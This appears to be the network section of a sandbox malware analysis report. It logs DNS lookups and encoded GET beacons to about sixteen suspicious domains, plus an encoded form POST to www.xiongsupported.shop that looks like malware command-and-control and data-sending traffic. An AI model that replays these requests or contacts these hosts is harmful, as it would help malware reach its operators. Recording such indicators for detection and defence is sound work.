Source: global traffic	HTTP traffic detected: GET /t52t/?i0D=yEQzVPits0NhHU2gr4RI6lK78RLVs+xCfKL87vgTtuIHzz1j5f1H41/t+dWnccE+luCcZRKiXFUeFx6af2BrfPz/NH/GKZAdgXNhTFABCD++KEQteMSSXjZGNT87TwTbHg==&o4=iBJXOXwHqRvdsxx HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.motherrucker.shopConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /kiwx/?i0D=dwrs7e0nshlLwNStdR2kT1v9YE2v1YHtMO32SGCbnOGQbDovHXh4qK/Lb2CeIfWj/mVHBuYbUbIN17xrS6dZWqoFyz00saBdX1SZwJeJaZeKW5OERKuwSjhYoEwuh2SJDQ==&o4=iBJXOXwHqRvdsxx HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.eioo.orgConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /3ps2/?o4=iBJXOXwHqRvdsxx&i0D=WXwa1ouCQFjltjxkAh/CTZI/QJYnZJ7RiFZntFtqJtxG/4+QtIGBFRyOqvXMEZndomF/0dELBX9B3HZcejPcji3I1P8obSOeWCdxDu1vnYnEDBpFb24Efl4NUTkDDZM/RQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.strappix.onlineConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /vtfe/?i0D=0BWSKxZteIMvdWwbkh91oKbL4NvnBT/QlXyZVmxR8bAmAzD3t+OZfnLHg22q5MNh4SOsF0UzniEhEnuUD2V1yvH/6S+aIiFvH1AuFj0YcZU0hHFNVq1VQLR4F+zYTsGOMA==&o4=iBJXOXwHqRvdsxx HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.iborn.orgConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /zswz/?i0D=edOAwx+0dO4+2suuLvgQpqVnVXSx9YqMGT0O7vLJtqT0uFAfmU6RRfcBg+Pcx7SToF08/52RkEv4Bt7+jrP38cDarrhxPpfBpZxZPkqjpG3l95Ks7YwmNcCGHcqPEwOq8w==&o4=iBJXOXwHqRvdsxx HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.vitalbiteb.infoConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ncfq/?i0D=+3ITSOfBVIny1mTavZs17Q9376/klX3H2+I+HyXDj8rxQfoe7x2MXudpkRNTSK9fou3Tb2u3jId7JTCKoKkkHzbi1/mIu3L8OX7itiKQ9s8gCEbVC0ZQdGbRXrevBAMDtA==&o4=iBJXOXwHqRvdsxx HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.link6-tesla-nd6.xyzConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.link6-tesla-nd6.xyz
Source: global traffic	DNS traffic detected: DNS query: www.xiongsupported.shop
Source: global traffic	DNS traffic detected: DNS query: www.v153cbo9xcl49.buzz
Source: global traffic	DNS traffic detected: DNS query: www.progressreport.sbs
Source: global traffic	DNS traffic detected: DNS query: www.dubaicarpark.xyz
Source: global traffic	DNS traffic detected: DNS query: www.tzurik.click
Source: global traffic	DNS traffic detected: DNS query: www.anyang-590303492.click
Source: global traffic	DNS traffic detected: DNS query: www.cjokfbvd.net
Source: global traffic	DNS traffic detected: DNS query: www.apexpoint.top
Source: global traffic	DNS traffic detected: DNS query: www.lefkosaturklisesi.net
Source: global traffic	DNS traffic detected: DNS query: www.motherrucker.shop
Source: global traffic	DNS traffic detected: DNS query: www.eioo.org
Source: global traffic	DNS traffic detected: DNS query: www.strappix.online
Source: global traffic	DNS traffic detected: DNS query: www.iborn.org
Source: global traffic	DNS traffic detected: DNS query: www.ogbos88.cyou
Source: global traffic	DNS traffic detected: DNS query: www.vitalbiteb.info

Source: unknown

HTTP traffic detected: POST /pr5c/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateHost: www.xiongsupported.shopOrigin: http://www.xiongsupported.shopReferer: http://www.xiongsupported.shop/pr5c/Content-Length: 204Cache-Control: max-age=0Connection: closeContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36Data Raw: 69 30 44 3d 61 67 58 72 4a 4e 49 37 33 57 67 41 69 56 7a 6a 4a 2b 55 6f 6f 52 5a 44 6a 43 72 67 5a 37 57 51 6f 6d 30 33 45 56 71 51 67 59 53 36 4f 48 31 76 4d 78 76 49 4f 45 74 35 79 30 33 45 2f 74 58 32 2f 34 2f 67 35 62 4b 39 58 6c 45 65 35 58 5a 63 32 76 68 62 63 2b 54 4c 2f 64 69 6e 6e 4f 5a 47 31 69 5a 53 7a 44 52 6d 56 6b 63 67 4b 76 76 4e 75 50 34 68 68 7a 79 6b 48 76 56 57 7a 50 75 55 33 4f 2b 30 58 68 57 6c 6e 70 33 43 70 6b 54 33 38 79 69 78 63 79 69 69 52 45 38 45 52 31 4f 63 34 6c 4b 67 47 6c 75 56 6b 61 54 37 42 45 56 59 31 68 66 79 47 75 69 53 39 4b 30 58 6a 4d 75 66 75 4d 51 68 66 72 55 3d Data Ascii: i0D=agXrJNI73WgAiVzjJ+UooRZDjCrgZ7WQom03EVqQgYS6OH1vMxvIOEt5y03E/tX2/4/g5bK9XlEe5XZc2vhbc+TL/dinnOZG1iZSzDRmVkcgKvvNuP4hhzykHvVWzPuU3O+0XhWlnp3CpkT38yixcyiiRE8ER1Oc4lKgGluVkaT7BEVY1hfyGuiS9K0XjMufuMQhfrU=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 07:59:03 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QbAanjXw74y49HvWv9V5EEpxh07nakT25nFfWKMbOrS52vqZnBYAHuZcd3%2Fl%2B9labbiP0KRY1tR9LcOPyyOXCWQ8AZ5hxtt9xWPbHagJyEobIo%2FPkuC%2BDzJepRTuAAM4xys6ZCnxFWa4VA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 927595fc7a2c78e2-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=84423&min_rtt=84423&rtt_var=42211&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=530&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 07:59:18 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ofBF54nJdyEWttRbVp2IfQmvWWMKISvXmVWVpKuCnRWB72zWwUFkDOgxOoK8R%2FZpH%2F3kPHISgpuXBibqwV86qrc%2FGOjyhbhVUC0vtkatCmiDaqjfxh3FFfjsmMabTJhg1z8fvNGMftJfpQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9275965daa6b2dae-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=84648&min_rtt=84648&rtt_var=42324&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=794&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 07:59:21 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yHkkf2FZGLYQLuYcZCJvXjIy59mblaUjn4CiU9Q72eT8g6UhfigmA%2FKZWxtzbWGVDT%2FZ8A7dbUvubxISb1Rno9eBTJw93IZKNreR%2B8AeNnov22wvOQp%2BMeULaPA%2Fv2ySDqs3kBn%2BOjgkSQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9275966e1a7ced71-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=84341&min_rtt=84341&rtt_var=42170&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=814&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 07:59:24 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IEMO8IDrTmbdY5kVfyXQGB%2B0ka56KGI3BpzGTJAy2tcwVTiBmJB3E%2FcLRPCrbOlc4lZp2qQXUVWE2cr8YICmOxSHi%2Fz5Hq9KYmmx0ll%2FSuqOIkVZ9toGIQD3vKA3Trja%2BD4PPKR9%2FkgIyg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9275967e79f242e2-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=83381&min_rtt=83381&rtt_var=41690&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=806&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 07:59:26 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kIwxYV8CSewizAmnseZvPB0QSWRmBLDXcvb9Rg6xNTUm5K%2FrtyonupA82dbBXurGrIE0103fsr2STSzggPOBkPD6HLycjO365IXCzO284WmMlMrdcOZbquODC4TwFU0PhxEFGBGtaZYoxw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9275968eda4c5e78-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=83743&min_rtt=83743&rtt_var=41871&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=530&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 28 Mar 2025 08:00:37 GMTContent-Type: text/htmlContent-Length: 166Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 28 Mar 2025 08:00:40 GMTContent-Type: text/htmlContent-Length: 166Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 28 Mar 2025 08:00:43 GMTContent-Type: text/htmlContent-Length: 166Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 08:00:51 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 08:00:54 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 08:00:56 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 08:00:59 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not 